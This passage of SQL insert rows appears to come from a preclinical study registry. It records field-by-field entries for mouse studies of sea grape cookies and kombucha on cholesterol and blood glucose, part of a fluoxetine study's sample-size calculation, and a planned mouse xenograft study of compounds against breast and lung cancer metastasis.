	(9484,257,'hypothesis','\"Sea grapes (Caulerpa racemosa) are marine algae that have active compounds, namely caulerpin and caulerpenin. These compounds are content with some of the potent antioxidants that need to be utilized and further explored the potential effect on health. Furthermore, several in silico and in vitro studies of both compounds can be candidates for functional food anti-chronic diseases and aging. Therefore, this in vivo study aims to determine the effect of cookie-giving from sea grapes on blood glucose levels, total cholesterol, and PGC-1\\u03b1 on mice fed a diet high in cholesterol and fat (CFED). \"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9485,257,'intervention_type','\"other\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9486,257,'other_intervention_type','\"Functional Food\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9487,257,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9488,257,'primary_readout_parameter','\"After 4 weeks of treatment, the mice were sacrificed for blood samples to be taken for examination of Blood glucose, total cholesterol, and PGC-1\\u03b1 levels.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9489,257,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9490,257,'species','\"mouse\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9491,257,'other_species','\"Mice\\/mouse\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9492,257,'strain','\"Mus musculus (Albino swiss webster)\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9493,257,'sex','\"male\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9494,257,'sample_size_calculation','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9495,257,'sample_size_calculation_details','\"Determination of the number of mice used refers to research by researchers who have published at https:\\/\\/doi.org\\/10.1016\\/j.heliyon.2021.e07944 about functional food with the same variable or number of treatments.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9496,257,'sum_of_animals','\"40 (Forty)\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9497,257,'randomisation','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9498,257,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9499,257,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9500,257,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9501,257,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9502,257,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9503,257,'experimental_design','\"All experimental mice had a standardized free access of feed and ad libitum of water. The study was conducted in the Laboratory of Pharmacology, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University, Manado, Indonesia. Forty male mus musculus Swiss albino mice (3\\u20135 weeks) weighing between 20 g\\u201330 g were obtained from the Laboratory Animals Farming Makassar, Indonesia. The animals were grouped and housed in cages and maintained under standard laboratory conditions (temperature: 27 \\u00b1 2 \\u00b0C) with light and dark cycles (12\\/12 h). The mice were acclimatized to laboratory conditions for 10 days before the commencement of the experiment. Food and water intake are influenced by ambient temperature, therefore we strongly maintain the environment to stay at room temperature. The average food and water intake of mice are 4.58 \\u00b1 0.59 g and 4.95 \\u00b1 0.55 mL. This range is in accordance with normal conditions (not under pressure or stress) referring to Heldrich et al, (2004) [[ H.J. Hedrich, H. Mossmann, W. Nicklas, Housing and maintenance, in:H.J. Hedrich, G. Bullock (Eds.), The Laboratory Mouse, 1, Elsevier, London, 2004, pp. 395\\u2013408.]]. The research protocol (use of experimental animals) used was based on the Declaration of Helsinki, The Council for International Organizations of Medical Sciences (CIOMS). Mice were randomly distributed into four groups, each group con- sisting of 10 mice. Group A as normal control received a standard diet, then groups B, C, and D received CFED for four weeks. Groups C and D were treated with 100 and 200 mg\\/20g BW (respectively) of Cookie for four weeks. CFED and cookie from sea grapes were administered by oral.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9504,257,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Normal Diet (received standard dry pellet diet)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\" Cholesterol- and Fat-Enriched Diet (CFED) Only\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\" Cholesterol- and Fat-Enriched Diet (CFED) and administered 100 mg\\/20g BB of cookies from sea grapes\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\" Cholesterol- and Fat-Enriched Diet (CFED) and administered 200 mg\\/20g BB of cookies from sea grapes\"}]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9505,257,'has_embargo','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9506,257,'original_animal_ethics_committee_application','\"RSUP Prof. Dr. RD. Kandou\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9507,257,'application_number','\"084\\/EC\\/KEPK-KANDOU\\/VI\\/2021\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9508,251,'sample_size_calculation_details','\"Sample size calculation was performed with the formula of Sachs: n = 2(z\\u03b1\\/2 - z\\u03c0)2 * (\\u03c3\\/\\u03b4)2.\\nalpha = 0.05 and power = 0.8\\nFor the experimental groups receiving vehicle (control for fluoxetine treatment), a variance of 6.5 and a minimal detectable difference of 10 were considered. As a drop-out of 10% should be included (based on previous studies), this brings n = 8 (or 16 in total for the vehicle-treated mice). Of note: the values here indicated are based on the sucrose preference test.\\n\\nFor the experimental groups receiving fluoxetine treatment, a similar approach was taken. Here, variance was 8.5 and a minimal detectable difference was 10. With 10% drop-out, this brings n = 12. (or total fluoxetine-treated mice to 48)\\n\\n\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9509,253,'sample_size_calculation_details','\"Sample size calculation was performed with the formula of Sachs: n = 2(z\\u03b1\\/2 - z\\u03c0)2 * (\\u03c3\\/\\u03b4)2.\\nalpha = 0.05 and power = 0.8\\n\\nFor the experimental groups receiving vehicle (control for fluoxetine treatment), a variance of 6.5 and a minimal detectable difference of 10 were considered. As a drop-out of 10% should be included (based on previous studies), this brings n = 8 (or 16 in total for the vehicle-treated mice). Of note: the values here indicated are based on the sucrose preference test.\\n\\nFor the experimental groups receiving fluoxetine treatment, a similar approach was taken. Here, variance was 8.5 and a minimal detectable difference was 10. With 10% drop-out, this brings n = 12. (or total fluoxetine-treated mice to 48)\\n\\nFor the mice that will not be exposed to the CUS procedure, the variance was 6 and a minimal detectable difference was 9. With 10% drop-out, this brings n = 8. \"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9510,258,'contact_name','\"Happy Kurnia Permatasari\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9511,258,'contact_role','\"supervisor and executive researcher\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9512,258,'contact_email','\"20106040012@student.uin-suka.ac.id\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9513,258,'study_centre','[{\"name\":\"Pharmacology Laboratory, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University.\",\"city\":\"Manado\",\"country\":\"ID\"}]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9514,258,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9515,258,'start_date','\"2021-07-18\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9516,258,'end_date','\"2021-09-01\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9517,258,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9518,258,'research_field','\"Nutrition, Biochemistry, Biomolecular\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9519,258,'intervention_type','\"other\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9520,258,'other_intervention_type','\"Functional Food\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9521,258,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9522,258,'primary_readout_parameter','\"After 4 weeks of treatment, the mice were sacrificed for blood samples to be taken for examination of  LDL, HDL, total cholesterol, TG, and SOD Superoxide dismutase levels.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9523,258,'secondary_readout_parameter','\"Body Weight\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9524,258,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9525,258,'species','\"mouse\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9526,258,'other_species','\"Mouse\\/mice\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9527,258,'strain','\"Mus musculus\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9528,258,'sex','\"male\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9529,258,'experimental_design','\"All experimental mice were kept on standard free access of feed and ad libitum water. The research was conducted at the Pharmacology Laboratory, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University, Makassar, Indonesia. Forty male albino swiss mice (Mus musculus) 3 - 5 weeks weighing between 20 g - 30 g were obtained from the Animal Husbandry Laboratory of Makassar, Indonesia. The animals were grouped and placed in cages and kept under standard laboratory conditions (temperature: 27 \\u00b1 2 oC) with light and dark cycles (12\\/12 h). Mice were acclimatized to laboratory conditions for 10 days before the start of the experiment. The research protocol (use of experimental animals) refers to the Declaration of Helsinki, Council of the International Organization of Medical Sciences (CIOMS), and will be submitted to the online ethical health research protocol (http:\\/\\/sim-epk.keppkn.kemkes.go.id) RSUP Prof. Dr. RD. Kandou, Manado with No. 100\\/EC\\/KEPK-KANDOU\\/VI\\/2021. CFED is a standard mouse diet containing 1% cholic acid, 2% pure cholesterol powder, 20% fat (animal source\\/pork oil), and 2% corn oil. All additional components were added finely to the standard CFED, stirred until homogeneous, formed into a dough with the addition of 1000 mL of distilled water, rolled using a bottle, cut into small pellets, and allowed to dry at room temperature under sterile conditions. CFED was prepared weekly and stored at 4 \\u00b0C until used to reduce oxidation of CFED by air. CFED consists of 43.57% carbohydrates, 12.38% crude protein, 4.73% crude fiber, 3.17% crude fat, 2% cholesterol, 1% cholic acid, 20% animal fat, 2% corn oil, ash. a total of 4.3%, and a moisture content of 6.85%. In addition, a normal diet contains 58.1% carbohydrates, 16.51% crude protein, 0% animal fat, corn oil, cholesterol, and folic acid, with other components not changing significantly. This guideline refers to previous research (Harb et al., 2018). Animals were randomly divided into four groups of ten animals each. Group A served as a normal control (receiving a standard dry pellet diet). Group B mice were fed CFED for 4 weeks. Groups C and D mice were fed CFED and given the sea grape kombucha 150 and 300 mg\\/kg BW (respectively) for 4 weeks. CFED and the sea grape kombucha were given orally. Before and after the intervention, the weight of the mice was observed and weighed using a scale.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9530,258,'sample_size_calculation','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9531,258,'sample_size_calculation_details','\"Determination of the number of mice used refers to research by researchers who have published at https:\\/\\/doi.org\\/10.1016\\/j.heliyon.2021.e07944 about functional food with the same variable or number of treatments.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9532,258,'sum_of_animals','\"40 (Forty)\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9533,258,'randomisation','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9534,258,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9535,258,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9536,258,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9537,258,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9538,258,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9539,258,'original_animal_ethics_committee_application','\"RSUP Prof. Dr. RD. Kandou\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9540,258,'application_number','\"No.100\\/EC\\/KEPK-KANDOU\\/VI\\/2021 \"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9541,258,'has_embargo','\"no\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9542,258,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Normal Diet (received standard dry pellet diet)\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cholesterol- and Fat-Enriched Diet (CFED) Only\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cholesterol- and Fat-Enriched Diet (CFED) and administered 150 mg\\/20g BB of Kombucha Tea from sea grapes\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cholesterol- and Fat-Enriched Diet (CFED) and administered 300 mg\\/20g BB of Kombucha Tea from sea grapes\"}]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9543,258,'hypothesis','\"Kombucha tea from sea grapes has high levels of antioxidants and polyphenols, which are thought to be anti-dyslipidemic. Then this in vivo research was carried out.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9544,258,'title','\"Anti-dyslipidemia of Sea Grapes (Caulerpa racemosa) Kombucha Tea\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9545,259,'title','\"Targeting the Mesenchymal Cancer Cell Phenotype for Therapeutic Gain using Mouse Xenografts\\n\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9546,259,'short_title','\"MesCanCellTargetMX\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9547,259,'contact_name','\"Peter ten Dijke\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9548,259,'contact_role','\"Executive Researcher\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9549,259,'contact_email','\"p.ten_dijke@lumc.nl\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9550,259,'study_centre','[{\"name\":\"Peter ten Dijke\",\"city\":\"Leiden\",\"country\":\"NL\"}]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9551,259,'financial_support','[\"grants\"]','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9552,259,'end_date','\"2026-12-01\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9553,259,'study_status','\"not_started\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9554,259,'research_field','\"Oncology\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9555,259,'hypothesis','\"Our hypothesis is that by selectively interfering with invasive behavior of mesenchymal cancer cells using compounds, we will simultaneously halt metastasis as well as regain sensitivity to chemo- (and targeted) therapy. The cytokine Transforming Growth Factor-beta (TGF-beta) is a main driver of epithelial to mesenchymal transition of cancer\\ncells. While TGF-beta inhibitors have been developed, they suffer from on-target side effects. In this project we will use a fundamental different approach to target the TGF-beta pathway in cancer cells by screening a large repurposing drug library using in vitro cell based assays for compounds that interfere with its pro-oncogenic effects. These\\ncompounds will subsequently be tested in xenograft animal models, first in zebrafish and secondly in mouse xenograft invasion\\/metastasis models).  This application is focused on studies using the mouse xenograft cancer models. We will test ability of compounds ability to specifically target the (TGF-beta-induced) invasion and metastasis of mesenchymal breast and lung cancer cells, and to identify compounds that make mesenchymal breast and lung cancer cells more sensitive to chemotherapy (while not affecting normal tissue homeostasis).\\n\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9556,259,'intervention_type','\"compound\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9557,259,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9558,259,'primary_readout_parameter','\"The work plan is as follows: previous in vitro high through put cell based assays have been\\/will be performed using a drug repurposing compound library to identify compounds with potential to target the aggressive mesenchymal behavior of lung and breast cancer cells. About 15 selected compounds with highest potency on cancer cells, and lowest\\ntoxicity on normal cells, will first be tested in zebrafish xenograft based assays (these studies ae described in parallel application) and thereafter 3-5 compounds will be tested in in vivo mouse xenograft models. \\n\\nWe aim that compound(s) inhibit metastasis\\/colonization by significantly prolonging significantly metastasis\\nfree survival and also reduce the number of mice with detectable bone metastases by more than 50%. This is based upon our previous experiments (see for example publication: Deckers M, van Dinther M, Buijs J, Que I, L\\u00f6wik C, van der Pluijm G, ten Dijke P. The tumor suppressor Smad4 is required for transforming growth factor beta-induced epithelial to mesenchymal transition and bone metastasis of breast cancer cells. Cancer Res. 2006 Feb 15;66(4):2202-9). \\n\\nTo test the effect of selected compounds (based upon zebrafish xenograft extravasation assay of MA-MB-231 cells) on metastasis of breast cancer cells we will: inject MDA MB 231 breast cancer cells that are labeled with luciferase expressing gene into the left ventricle (to bypass the lung circulation) of nude immune compromised mice and metastasis to bone analyzed using bioluminescent imaging (with IVIS) as primary read out. \\n\\nThe MDA MB 231 breast cancer cells that we will use n this study have been repeated injected and isolated from bone and therefore these cells selectively metastasize to bone and not other tissues\\/organs. The mice will be exposed to compound(s) or vehicle control and effect on bioluminescent image signal in bones of mice analyzed (every week for about 4-6 weeks). \\n\\nTo test the effect of selected compounds (based upon zebrafish xenograft extravasation assay of A549 lung adenocarcinoma cells) on metastasis of lung cancer cells in mice we will: inject A549 lung adenocarcinoma cells (pre-treated with TGF-beta to stimulate their mesenchymal phenotype) that are labeled with luciferase expressing gene into the tail vein of nude immune compromised mice. The colonization of the lungs of mice that have be exposed to compounds or vehicle control will be measured by bioluminescent imaging (every week for about 4-6 weeks).\\n\\nAs for the breast cancer metastasis assays, we aim that compound(s) inhibit A549 lung cancer metastasis\\/colonization by significantly prolonging significantly metastasis free survival and also reduce the number of mice with detectable bone metastases by more than 50%\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9559,259,'secondary_readout_parameter','\"As secondary assays and to further confirm the therapeutic effects of compounds on breast cancer metastasis we will follow up with histopathology on sections of bone from mice (for example, by examining the osteolysis by staining for osteoclast activity). \\n\\nAs secondary assays and to further confirm the therapeutic effects of compounds on lung cancer metastasis  we will follow up with histopathology on sections of lungs of mice.\\n\\nMoreover, for both models we will (with help of mouse pathologist) examine toxicity of compounds on normal tissues. \"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9560,259,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9561,259,'species','\"mouse\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9562,259,'sex','\"both\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9563,259,'strain','\"Mus musculus, nu\\/nu nude (female for MDA MB 231 breast cancer cell injection experiments and male mice for A549 lung adennocarcinoma cell injection experiments) at 5-8 weeks old. These animals are immune compromised as lack the thymus, and therefore are unable to produce T cells and are immunodeficient. They are ideal models for tumor biology and xenograft research on human breast and lung cancer cells.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9564,259,'start_date','\"2021-12-01\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9565,259,'experimental_design','\"MDA-MB-231 breast cancer cells that are labelled with luciferase will be injected into the left heart ventricle of female nu\\/nu nude mice. The MDA-MB=231 cells that will be used were selected to metastasize preferentially to the bone. The colonization of MDA-MB-231 cells to the bone will be visualized by bioluminescent imaging (every week). The route of administration (and multiple treatment times) will depend on the compound; this information of the compounds from drug repurposing is available. Mice will be treated with compound(s) or vehicle control; we will start treat\\u0002ment after 1 week of cancer cell injection. At the end of experiment, usually 6-8 weeks after injection, mice will be terminated. Bones with tumors will be collected and these will will be flushed for isolation of tumor cells. These tumor cells will be studied in vitro for their behavior (and marker expression analysis). Bones will be collected and used for histochemical staining. \\nAnimals will be housed in individually ventilated cages under sterile conditions containing five mice per cage. Sterilized food and water will be provided ad libitum. \\n\\nFor A549 lung adenocarcinoma cells (pre-treated with TGF-beta to stimulate the mesenchy\\u0002mal and invasive and chemo-resistant properties of the cells) that are labelled with luciferase will be injected into the tail vein of male nu\\/nu nude mice. Cancer cells in 50 microliter buffered saline in the tail vein under slight isoflurane anesthesia that will\\nlead to homing of cells to the lung. Cancer cells will that colonize the lung will be visualized by bio\\u0002luminescent imaging (every week). Mice will be treated with chemical compound(s) or vehicle control (initially we will start 6 days after injection. \\n\\nThe route of administration (and multiple treatment times) will depend on the compound; this information of the compounds from drug repurposing is available. usually the experiments will be terminated 4 weeks after injection and lung collected for further analysis. Lung tissues will be collected for further analysis of cells and their environment by immuno-histochemical staining and also tumor cells will be isolated and studied in vitro for their behavior. The level of metastasis will be assessed by bioluminescent imaging and results will also be further validated (if needed) by immuno-histopathology and in vitro characterization of bones\\/lungs and\\/or characterization of isolated tumor cells as secondary read outs. Animals will be housed in individually ventilated cages under sterile conditions containing five mice per cage.\\nSterilized food and water were provided ad libitum. At the end on the 4-6 week experiment all mice will\\nbe terminated. While we do not expect severe complications as a result of the intracardiac injection, the complications infection may arise due to tumor growth. Therefore, the animals will be observed twice weekly following the injection and will\\\\ be humanely killed in case of the following defined end points are reached: visible pain (abnormal posture or movement), significant weight loss (20%), abnormal behavior (isolation, abnormal re\\u0002action to stimuli, no food or water intake). If distress of the animals are observed by the animal caretakers, this will be be reported to the investigators and according to the aforementioned criteria, the animal will be taken out of the experiment and euthanized. All staff involved are experienced and skilled to perform animal handlings. Intracardiac injection and imaging of mice will be\\nperformed under anesthesia. All animals used in the experiment will be at least 15 grams of weight, as we have seen in previous experiments that once they rich this weight we are able to avoid complications and minimize the suffering from\\nmice.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9566,259,'sum_of_animals','\"Minimal total number of Mice: 350\\n(see calculation above).\"','2022-03-31 13:24:02','2022-03-31 13:24:03'),
	(9567,259,'study_arms','[{\"type\":\"control\",\"number\":\"10x5=50\",\"intervention\":\"Vehicle control\"},{\"type\":\"control\",\"number\":\"10x5=50\",\"intervention\":\"Chemotherapy control \"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 1 test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 1 combined with chemotherapy test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 2 test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 2 combined with chemotherapy test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 3 test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 2 combined with chemotherapy test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 4 test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 4 combined with chemotherapy test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 5 test for inhibitory effect on metastasis\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Compound 5 combined with chemotherapy test for inhibitory effect on metastasis\"},{\"type\":\"control\",\"number\":\"10x5=50\",\"intervention\":\"Control vector infected cells and test on effect of metastasis\"},{\"type\":\"other\",\"number\":\"10x5=50\",\"intervention\":\"Genetic depletion of target and test on effect of metastasis\"}]','2022-03-31 13:24:02','2022-03-31 13:24:03'),
	(9568,259,'randomisation','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9569,259,'why_no_randomisation','\"After injection of breast or lung cancer cells into nu\\/nu mice, they will be divided into two groups in which\\none group will be exposed to compound and another group to vehicle control.\\n\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9570,259,'randomisation_method_used','\"coin-toss\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9571,259,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9572,259,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9573,259,'yes_blinded_intervention_partially_details','\"One group will be exposed to compound and another group to vehicle control. The animal facility will be asked to deliver the compounds\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9574,259,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9575,259,'yes_blinded_assessment_partially_details','\"Animals that have been injected with compound or vehicle control will not be known by the investiga\\u0002tor. Analysis of the  bioluminescence (in case of mouse experiments).will be done blinded.\\n\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9576,259,'placebo_controlled','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9577,259,'original_animal_ethics_committee_application','\"Not yet applicable, see below. This will be completed at alter date.\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9578,259,'link_to_data','\"Our previous publications in which zebrafish and\\/or mouse (and\\/or zebrafish xenograft models were used: \\nZhou F, Drabsch Y, Dekker TJ, de Vinuesa AG, Li Y, Hawinkels LJ, Sheppard KA, Goumans MJ, Luwor RB, de Vries CJ, Mesker WE, Tollenaar RA, Devilee P, Lu CX, Zhu H, Zhang L, Dijke PT (2014) Nuclear receptor NR4A1 promotes breast cancer invasion and metastasis by activating TGF-beta signalling. Nature communications 5:3388. doi:10.1038\\/ncomms4388 \\n\\nZhang L, Zhou F, Garcia de Vinuesa A, de Kruijf EM, Mesker WE, Hui L, Drabsch Y, Li Y, Bauer A, Rousseau A, Sheppard KA, Mickanin C, Kuppen PJ, Lu CX, Ten Dijke P (2013) TRAF4 promotes TGF-beta recep\\u0002tor signaling and drives breast cancer metastasis. Mol Cell 51 (5):559-572. doi:10.1016\\/j.molcel.2013.07.014 \\n\\nRen J, Wang Y, Ware T, Iaria J, Ten Dijke P, Zhu HJ (2020) Reactivation of BMP signaling by suboptimal concentrations of MEK inhibitor and FK506 reduces organ-specific breast cancer metastasis. Cancer Lett 493:41-54. doi:10.1016\\/j.canlet.2020.07.042\\n\\nNeckmann U, Wolowczyk C, Hall M, Almaas E, Ren J, Zhao S, Johannessen B, Skotheim RI, Bjorkoy G, Ten Dijke P, Holien T (2019) GREM1 is associated with metastasis and predicts poor prog\\u0002nosis in ER-negative breast cancer patients. Cell Commun Signal 17 (1):140. doi:10.1186\\/s12964- 019-0467-7 \\n\\nLiu S, Gonzalez-Prieto R, Zhang M, Geurink PP, Kooij R, Iyengar PV, van Dinther M, Bos E, Zhang X, Le Devedec SE, van de Water B, Koning RI, Zhu HJ, Mesker WE, Vertegaal ACO, Ovaa H, Zhang L, Martens JWM, Ten Dijke P\\n(2020) Deubiquitinase Activity Profiling Identifies UCHL1 as a Candidate Oncoprotein That Promotes TGFbeta-Induced Breast Cancer Metastasis. Clinical cancer research : an official journal of the American Association for Cancer Research 26 (6):1460-1473. doi:10.1158\\/1078-432.CCR-19-1373 \\n\\nLi Y, Jin K, van Pelt GW, van Dam H, Yu X, Mesker WE, Ten Dijke P, Zhou F, Zhang L (2016) c-Myb Enhances Breast Cancer Invasion and Metastasis through the Wnt\\/beta\\u0002Catenin\\/Axin2 Pathway. Cancer Res 76 (11):3364- 3375. doi:10.1158\\/0008-5472.CAN-15-2302 Li Y,\\n\\nDrabsch Y, Pujuguet P, Ren J, van Laar T, Zhang L, van Dam H, Clement-Lacroix P, Ten Dijke P (2015) Genetic depletion and pharmacological targeting of alphav integrin in breast cancer cells im\\u0002pairs metastasis in zebrafish and mouse xenograft models. Breast cancer research : BCR 17:28. doi:10.1186\\/s13058-015-0537-8\\n\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9579,259,'has_embargo','\"yes\"','2022-03-31 13:24:02','2022-03-31 13:24:02'),
	(9580,259,'sample_size_calculation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9581,259,'sample_size_calculation_details','\"For the calculation of the number of mice that are used in the xenograft experiments (with compound or with vehicle control) we used the program available at http:\\/\\/homepage.divms.uiowa.edu\\/~rlenth\\/Power\\/ This is based upon previous experiments; see for example: Zhou F, Drabsch Y, Dekker TJ, de Vinuesa AG, Li Y, Hawinkels LJ, Sheppard KA,\\nGoumans MJ, Luwor RB, de Vries CJ, Mesker WE, Tollenaar RA, Devilee P, Lu CX, Zhu H, Zhang L, Dijke PT. Nuclear receptor NR4A1 promotes breast cancer invasion and metastasis by activating TGF-\\u03b2 signalling. Nat Commun. 2014 Mar 3;5:3388). \\nWe may have some mice that will be excluded from analysis because of misinjection. When we insert the parameters of previous experiments (sgima1 0.36) with a true differences of means of 0.441 and select a power of 0.9 with alpha of 0.05 we get 9 mice per group. Based upon previous experiments we expect that 1 mice will not metastasize. Therefore the group size is 10 mice. \\n\\nRegarding the statistical analysis: as we will look for inhibitory effects of compounds we will use a one sided T test statistical evaluation. (First we will conform that the distribution of the data is normal). \\n\\nWe plan to test 5 compounds (in the absence or presence of chemotherapeutic drugs): Two groups: vehicle and control. Total (minimal) mice needed: 5 x 10 x 2 x 2 = 200 mice. Initial pilot experiments will be performed to optimize the concentration\\/injection route of (combinatorial) therapy. For 5 compounds we expect to use 50\\nmice for these pilot experiments. \\n\\nMoreover, for some targets we may want to complement with genetic studies in which the effect of depletion of targets on metastatic behavior is tested. Thus number on mice will be higher than the indicated 200 mice indicated here. For 5 targets we expect to to use 5 x 2 x 10 = 100 mice. Thus in total we expect to use: 350 mice. \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
